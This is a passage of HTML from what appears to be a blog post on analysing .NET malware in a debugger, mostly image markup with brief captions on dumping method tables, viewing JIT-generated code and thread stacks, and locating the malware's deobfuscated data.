https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtngMzf_heo4vCfndEky4KgmWegM-E-jZDADkxYTB_gthaVC6cEQ5JLltWlCuZ6H1vQ1YcWp9jCgyx0Ek9GVaMJZjk5x9DhhDR0kE_997KjMAAf2p5bmh-E7fj-sM8rNbqzBVIqOP-kqo/s1600/dump_module.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>Method table:<br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp1TLumDNwbfLfpx_cj94giE2PApmunc0oW-tAtw-hRGws799z-2PyND-5Q8hhG_2IGQBj5x8db8qLx9i8Q7YojYZGEejykXMH6qfJk3TLVZiGy6e3M6SgY8QrlBVTYiSICdMEJR56RBg/s400/dumpmt.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp1TLumDNwbfLfpx_cj94giE2PApmunc0oW-tAtw-hRGws799z-2PyND-5Q8hhG_2IGQBj5x8db8qLx9i8Q7YojYZGEejykXMH6qfJk3TLVZiGy6e3M6SgY8QrlBVTYiSICdMEJR56RBg/s400/dumpmt.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp1TLumDNwbfLfpx_cj94giE2PApmunc0oW-tAtw-hRGws799z-2PyND-5Q8hhG_2IGQBj5x8db8qLx9i8Q7YojYZGEejykXMH6qfJk3TLVZiGy6e3M6SgY8QrlBVTYiSICdMEJR56RBg/s400/dumpmt.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp1TLumDNwbfLfpx_cj94giE2PApmunc0oW-tAtw-hRGws799z-2PyND-5Q8hhG_2IGQBj5x8db8qLx9i8Q7YojYZGEejykXMH6qfJk3TLVZiGy6e3M6SgY8QrlBVTYiSICdMEJR56RBg/s400/dumpmt.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp1TLumDNwbfLfpx_cj94giE2PApmunc0oW-tAtw-hRGws799z-2PyND-5Q8hhG_2IGQBj5x8db8qLx9i8Q7YojYZGEejykXMH6qfJk3TLVZiGy6e3M6SgY8QrlBVTYiSICdMEJR56RBg/s400/dumpmt.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp1TLumDNwbfLfpx_cj94giE2PApmunc0oW-tAtw-hRGws799z-2PyND-5Q8hhG_2IGQBj5x8db8qLx9i8Q7YojYZGEejykXMH6qfJk3TLVZiGy6e3M6SgY8QrlBVTYiSICdMEJR56RBg/s400/dumpmt.png" width="400" height="252" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp1TLumDNwbfLfpx_cj94giE2PApmunc0oW-tAtw-hRGws799z-2PyND-5Q8hhG_2IGQBj5x8db8qLx9i8Q7YojYZGEejykXMH6qfJk3TLVZiGy6e3M6SgY8QrlBVTYiSICdMEJR56RBg/s400/dumpmt.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:252,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp1TLumDNwbfLfpx_cj94giE2PApmunc0oW-tAtw-hRGws799z-2PyND-5Q8hhG_2IGQBj5x8db8qLx9i8Q7YojYZGEejykXMH6qfJk3TLVZiGy6e3M6SgY8QrlBVTYiSICdMEJR56RBg/s400/dumpmt.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp1TLumDNwbfLfpx_cj94giE2PApmunc0oW-tAtw-hRGws799z-2PyND-5Q8hhG_2IGQBj5x8db8qLx9i8Q7YojYZGEejykXMH6qfJk3TLVZiGy6e3M6SgY8QrlBVTYiSICdMEJR56RBg/s400/dumpmt.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp1TLumDNwbfLfpx_cj94giE2PApmunc0oW-tAtw-hRGws799z-2PyND-5Q8hhG_2IGQBj5x8db8qLx9i8Q7YojYZGEejykXMH6qfJk3TLVZiGy6e3M6SgY8QrlBVTYiSICdMEJR56RBg/s400/dumpmt.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp1TLumDNwbfLfpx_cj94giE2PApmunc0oW-tAtw-hRGws799z-2PyND-5Q8hhG_2IGQBj5x8db8qLx9i8Q7YojYZGEejykXMH6qfJk3TLVZiGy6e3M6SgY8QrlBVTYiSICdMEJR56RBg/s400/dumpmt.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> Display jit generated code for a method:<br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQiumnkNYsi10ZDVWLmtomyYPXn6ahDixBGeWHN-OAdx4jg3W6bUpeS68CxqgJvkWcYVThpFq-cVXqh6meRdTPlqkWeuGL1iIzHYo_baiQ6kKlybRhojz6dm3odq2vc_deh8nMwHVJ8U4/s400/u_code_1.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQiumnkNYsi10ZDVWLmtomyYPXn6ahDixBGeWHN-OAdx4jg3W6bUpeS68CxqgJvkWcYVThpFq-cVXqh6meRdTPlqkWeuGL1iIzHYo_baiQ6kKlybRhojz6dm3odq2vc_deh8nMwHVJ8U4/s400/u_code_1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQiumnkNYsi10ZDVWLmtomyYPXn6ahDixBGeWHN-OAdx4jg3W6bUpeS68CxqgJvkWcYVThpFq-cVXqh6meRdTPlqkWeuGL1iIzHYo_baiQ6kKlybRhojz6dm3odq2vc_deh8nMwHVJ8U4/s400/u_code_1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQiumnkNYsi10ZDVWLmtomyYPXn6ahDixBGeWHN-OAdx4jg3W6bUpeS68CxqgJvkWcYVThpFq-cVXqh6meRdTPlqkWeuGL1iIzHYo_baiQ6kKlybRhojz6dm3odq2vc_deh8nMwHVJ8U4/s400/u_code_1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQiumnkNYsi10ZDVWLmtomyYPXn6ahDixBGeWHN-OAdx4jg3W6bUpeS68CxqgJvkWcYVThpFq-cVXqh6meRdTPlqkWeuGL1iIzHYo_baiQ6kKlybRhojz6dm3odq2vc_deh8nMwHVJ8U4/s400/u_code_1.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQiumnkNYsi10ZDVWLmtomyYPXn6ahDixBGeWHN-OAdx4jg3W6bUpeS68CxqgJvkWcYVThpFq-cVXqh6meRdTPlqkWeuGL1iIzHYo_baiQ6kKlybRhojz6dm3odq2vc_deh8nMwHVJ8U4/s400/u_code_1.png" width="400" height="136" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQiumnkNYsi10ZDVWLmtomyYPXn6ahDixBGeWHN-OAdx4jg3W6bUpeS68CxqgJvkWcYVThpFq-cVXqh6meRdTPlqkWeuGL1iIzHYo_baiQ6kKlybRhojz6dm3odq2vc_deh8nMwHVJ8U4/s400/u_code_1.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:136,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQiumnkNYsi10ZDVWLmtomyYPXn6ahDixBGeWHN-OAdx4jg3W6bUpeS68CxqgJvkWcYVThpFq-cVXqh6meRdTPlqkWeuGL1iIzHYo_baiQ6kKlybRhojz6dm3odq2vc_deh8nMwHVJ8U4/s400/u_code_1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQiumnkNYsi10ZDVWLmtomyYPXn6ahDixBGeWHN-OAdx4jg3W6bUpeS68CxqgJvkWcYVThpFq-cVXqh6meRdTPlqkWeuGL1iIzHYo_baiQ6kKlybRhojz6dm3odq2vc_deh8nMwHVJ8U4/s400/u_code_1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQiumnkNYsi10ZDVWLmtomyYPXn6ahDixBGeWHN-OAdx4jg3W6bUpeS68CxqgJvkWcYVThpFq-cVXqh6meRdTPlqkWeuGL1iIzHYo_baiQ6kKlybRhojz6dm3odq2vc_deh8nMwHVJ8U4/s400/u_code_1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQiumnkNYsi10ZDVWLmtomyYPXn6ahDixBGeWHN-OAdx4jg3W6bUpeS68CxqgJvkWcYVThpFq-cVXqh6meRdTPlqkWeuGL1iIzHYo_baiQ6kKlybRhojz6dm3odq2vc_deh8nMwHVJ8U4/s400/u_code_1.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br> 1.1.3.3. Enum threads, display threads' stacks and malware jit generated code</p><p><br> Enumerate threads:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOThgFoDr5DGhQ4ROMXoOIAvGV9heUlJjopOcYCQScNQm-3EpNYaSGbXL5M4i6i27P8VnO2U5b-1m2T9f2D22D7idFaUdxKMWFk7kgT6XRmPJjxwMTqmO47JuspwrIvCBVksaMq5p2y2Y/s400/enumthreads1.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOThgFoDr5DGhQ4ROMXoOIAvGV9heUlJjopOcYCQScNQm-3EpNYaSGbXL5M4i6i27P8VnO2U5b-1m2T9f2D22D7idFaUdxKMWFk7kgT6XRmPJjxwMTqmO47JuspwrIvCBVksaMq5p2y2Y/s400/enumthreads1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOThgFoDr5DGhQ4ROMXoOIAvGV9heUlJjopOcYCQScNQm-3EpNYaSGbXL5M4i6i27P8VnO2U5b-1m2T9f2D22D7idFaUdxKMWFk7kgT6XRmPJjxwMTqmO47JuspwrIvCBVksaMq5p2y2Y/s400/enumthreads1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOThgFoDr5DGhQ4ROMXoOIAvGV9heUlJjopOcYCQScNQm-3EpNYaSGbXL5M4i6i27P8VnO2U5b-1m2T9f2D22D7idFaUdxKMWFk7kgT6XRmPJjxwMTqmO47JuspwrIvCBVksaMq5p2y2Y/s400/enumthreads1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOThgFoDr5DGhQ4ROMXoOIAvGV9heUlJjopOcYCQScNQm-3EpNYaSGbXL5M4i6i27P8VnO2U5b-1m2T9f2D22D7idFaUdxKMWFk7kgT6XRmPJjxwMTqmO47JuspwrIvCBVksaMq5p2y2Y/s400/enumthreads1.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOThgFoDr5DGhQ4ROMXoOIAvGV9heUlJjopOcYCQScNQm-3EpNYaSGbXL5M4i6i27P8VnO2U5b-1m2T9f2D22D7idFaUdxKMWFk7kgT6XRmPJjxwMTqmO47JuspwrIvCBVksaMq5p2y2Y/s400/enumthreads1.png" width="311" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOThgFoDr5DGhQ4ROMXoOIAvGV9heUlJjopOcYCQScNQm-3EpNYaSGbXL5M4i6i27P8VnO2U5b-1m2T9f2D22D7idFaUdxKMWFk7kgT6XRmPJjxwMTqmO47JuspwrIvCBVksaMq5p2y2Y/s400/enumthreads1.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:311,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOThgFoDr5DGhQ4ROMXoOIAvGV9heUlJjopOcYCQScNQm-3EpNYaSGbXL5M4i6i27P8VnO2U5b-1m2T9f2D22D7idFaUdxKMWFk7kgT6XRmPJjxwMTqmO47JuspwrIvCBVksaMq5p2y2Y/s400/enumthreads1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOThgFoDr5DGhQ4ROMXoOIAvGV9heUlJjopOcYCQScNQm-3EpNYaSGbXL5M4i6i27P8VnO2U5b-1m2T9f2D22D7idFaUdxKMWFk7kgT6XRmPJjxwMTqmO47JuspwrIvCBVksaMq5p2y2Y/s400/enumthreads1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOThgFoDr5DGhQ4ROMXoOIAvGV9heUlJjopOcYCQScNQm-3EpNYaSGbXL5M4i6i27P8VnO2U5b-1m2T9f2D22D7idFaUdxKMWFk7kgT6XRmPJjxwMTqmO47JuspwrIvCBVksaMq5p2y2Y/s400/enumthreads1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOThgFoDr5DGhQ4ROMXoOIAvGV9heUlJjopOcYCQScNQm-3EpNYaSGbXL5M4i6i27P8VnO2U5b-1m2T9f2D22D7idFaUdxKMWFk7kgT6XRmPJjxwMTqmO47JuspwrIvCBVksaMq5p2y2Y/s400/enumthreads1.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> Callstack for a thread running managed code:<br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnt7GSt7pgIa75zIo_uK2YGeNp2743-jfqA6HR3GD_QIW4xgk4poMezrz6j7ismpfKHgKBmSuQOtnRuaxVIdDkApwbWwcBjyXstYapXvP-l2ki06xq7oowaMBkP61RvCWbZ20OXJYDZ8/s1600/stack_and_u_code_2.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnt7GSt7pgIa75zIo_uK2YGeNp2743-jfqA6HR3GD_QIW4xgk4poMezrz6j7ismpfKHgKBmSuQOtnRuaxVIdDkApwbWwcBjyXstYapXvP-l2ki06xq7oowaMBkP61RvCWbZ20OXJYDZ8/s1600/stack_and_u_code_2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnt7GSt7pgIa75zIo_uK2YGeNp2743-jfqA6HR3GD_QIW4xgk4poMezrz6j7ismpfKHgKBmSuQOtnRuaxVIdDkApwbWwcBjyXstYapXvP-l2ki06xq7oowaMBkP61RvCWbZ20OXJYDZ8/s1600/stack_and_u_code_2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnt7GSt7pgIa75zIo_uK2YGeNp2743-jfqA6HR3GD_QIW4xgk4poMezrz6j7ismpfKHgKBmSuQOtnRuaxVIdDkApwbWwcBjyXstYapXvP-l2ki06xq7oowaMBkP61RvCWbZ20OXJYDZ8/s1600/stack_and_u_code_2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnt7GSt7pgIa75zIo_uK2YGeNp2743-jfqA6HR3GD_QIW4xgk4poMezrz6j7ismpfKHgKBmSuQOtnRuaxVIdDkApwbWwcBjyXstYapXvP-l2ki06xq7oowaMBkP61RvCWbZ20OXJYDZ8/s1600/stack_and_u_code_2.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnt7GSt7pgIa75zIo_uK2YGeNp2743-jfqA6HR3GD_QIW4xgk4poMezrz6j7ismpfKHgKBmSuQOtnRuaxVIdDkApwbWwcBjyXstYapXvP-l2ki06xq7oowaMBkP61RvCWbZ20OXJYDZ8/s1600/stack_and_u_code_2.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnt7GSt7pgIa75zIo_uK2YGeNp2743-jfqA6HR3GD_QIW4xgk4poMezrz6j7ismpfKHgKBmSuQOtnRuaxVIdDkApwbWwcBjyXstYapXvP-l2ki06xq7oowaMBkP61RvCWbZ20OXJYDZ8/s1600/stack_and_u_code_2.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnt7GSt7pgIa75zIo_uK2YGeNp2743-jfqA6HR3GD_QIW4xgk4poMezrz6j7ismpfKHgKBmSuQOtnRuaxVIdDkApwbWwcBjyXstYapXvP-l2ki06xq7oowaMBkP61RvCWbZ20OXJYDZ8/s1600/stack_and_u_code_2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnt7GSt7pgIa75zIo_uK2YGeNp2743-jfqA6HR3GD_QIW4xgk4poMezrz6j7ismpfKHgKBmSuQOtnRuaxVIdDkApwbWwcBjyXstYapXvP-l2ki06xq7oowaMBkP61RvCWbZ20OXJYDZ8/s1600/stack_and_u_code_2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnt7GSt7pgIa75zIo_uK2YGeNp2743-jfqA6HR3GD_QIW4xgk4poMezrz6j7ismpfKHgKBmSuQOtnRuaxVIdDkApwbWwcBjyXstYapXvP-l2ki06xq7oowaMBkP61RvCWbZ20OXJYDZ8/s1600/stack_and_u_code_2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnt7GSt7pgIa75zIo_uK2YGeNp2743-jfqA6HR3GD_QIW4xgk4poMezrz6j7ismpfKHgKBmSuQOtnRuaxVIdDkApwbWwcBjyXstYapXvP-l2ki06xq7oowaMBkP61RvCWbZ20OXJYDZ8/s1600/stack_and_u_code_2.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>1.1.3.4. Following jit generated code's references to deobfuscated malware data</p><p>Walking the threads and exploring the stacks and the jit generated code, we can reach jit generated code belonging the malware code. For example:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmHPqu-2w22tiznquSIcTj9MyQz20uULaZpz7bXEz00STvO74jL9iTdYV7R0hHvZxr5mhKIaeXefo8W3f_-hqoMPVq4GaJ2-c1KTi-NOmkRekukNY7hcCQjtZJ6lEfAvckjNN1DWdtXqE/s400/jitcode.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmHPqu-2w22tiznquSIcTj9MyQz20uULaZpz7bXEz00STvO74jL9iTdYV7R0hHvZxr5mhKIaeXefo8W3f_-hqoMPVq4GaJ2-c1KTi-NOmkRekukNY7hcCQjtZJ6lEfAvckjNN1DWdtXqE/s400/jitcode.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmHPqu-2w22tiznquSIcTj9MyQz20uULaZpz7bXEz00STvO74jL9iTdYV7R0hHvZxr5mhKIaeXefo8W3f_-hqoMPVq4GaJ2-c1KTi-NOmkRekukNY7hcCQjtZJ6lEfAvckjNN1DWdtXqE/s400/jitcode.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmHPqu-2w22tiznquSIcTj9MyQz20uULaZpz7bXEz00STvO74jL9iTdYV7R0hHvZxr5mhKIaeXefo8W3f_-hqoMPVq4GaJ2-c1KTi-NOmkRekukNY7hcCQjtZJ6lEfAvckjNN1DWdtXqE/s400/jitcode.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmHPqu-2w22tiznquSIcTj9MyQz20uULaZpz7bXEz00STvO74jL9iTdYV7R0hHvZxr5mhKIaeXefo8W3f_-hqoMPVq4GaJ2-c1KTi-NOmkRekukNY7hcCQjtZJ6lEfAvckjNN1DWdtXqE/s400/jitcode.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmHPqu-2w22tiznquSIcTj9MyQz20uULaZpz7bXEz00STvO74jL9iTdYV7R0hHvZxr5mhKIaeXefo8W3f_-hqoMPVq4GaJ2-c1KTi-NOmkRekukNY7hcCQjtZJ6lEfAvckjNN1DWdtXqE/s400/jitcode.png" width="400" height="340" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmHPqu-2w22tiznquSIcTj9MyQz20uULaZpz7bXEz00STvO74jL9iTdYV7R0hHvZxr5mhKIaeXefo8W3f_-hqoMPVq4GaJ2-c1KTi-NOmkRekukNY7hcCQjtZJ6lEfAvckjNN1DWdtXqE/s400/jitcode.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:340,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmHPqu-2w22tiznquSIcTj9MyQz20uULaZpz7bXEz00STvO74jL9iTdYV7R0hHvZxr5mhKIaeXefo8W3f_-hqoMPVq4GaJ2-c1KTi-NOmkRekukNY7hcCQjtZJ6lEfAvckjNN1DWdtXqE/s400/jitcode.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmHPqu-2w22tiznquSIcTj9MyQz20uULaZpz7bXEz00STvO74jL9iTdYV7R0hHvZxr5mhKIaeXefo8W3f_-hqoMPVq4GaJ2-c1KTi-NOmkRekukNY7hcCQjtZJ6lEfAvckjNN1DWdtXqE/s400/jitcode.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmHPqu-2w22tiznquSIcTj9MyQz20uULaZpz7bXEz00STvO74jL9iTdYV7R0hHvZxr5mhKIaeXefo8W3f_-hqoMPVq4GaJ2-c1KTi-NOmkRekukNY7hcCQjtZJ6lEfAvckjNN1DWdtXqE/s400/jitcode.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmHPqu-2w22tiznquSIcTj9MyQz20uULaZpz7bXEz00STvO74jL9iTdYV7R0hHvZxr5mhKIaeXefo8W3f_-hqoMPVq4GaJ2-c1KTi-NOmkRekukNY7hcCQjtZJ6lEfAvckjNN1DWdtXqE/s400/jitcode.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p>Following the references to data from this code, we can find blocks of deobfuscated data used by the malware:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv6cWuwjDpHWUq6-WiDas1AYoHEprlODzcMnDaOyvOPr8r25g5cQzWVytYHpLkrk1WxEqU6xGZsks1LYROI_ohvss2P5OWDJwcR1u1fU1uIVeuz9Nrq18rjMt4jnzO-SzpoyI-4h2WDNg/s400/dump_deobfuscated_data.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv6cWuwjDpHWUq6-WiDas1AYoHEprlODzcMnDaOyvOPr8r25g5cQzWVytYHpLkrk1WxEqU6xGZsks1LYROI_ohvss2P5OWDJwcR1u1fU1uIVeuz9Nrq18rjMt4jnzO-SzpoyI-4h2WDNg/s400/dump_deobfuscated_data.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv6cWuwjDpHWUq6-WiDas1AYoHEprlODzcMnDaOyvOPr8r25g5cQzWVytYHpLkrk1WxEqU6xGZsks1LYROI_ohvss2P5OWDJwcR1u1fU1uIVeuz9Nrq18rjMt4jnzO-SzpoyI-4h2WDNg/s400/dump_deobfuscated_data.png 848w, 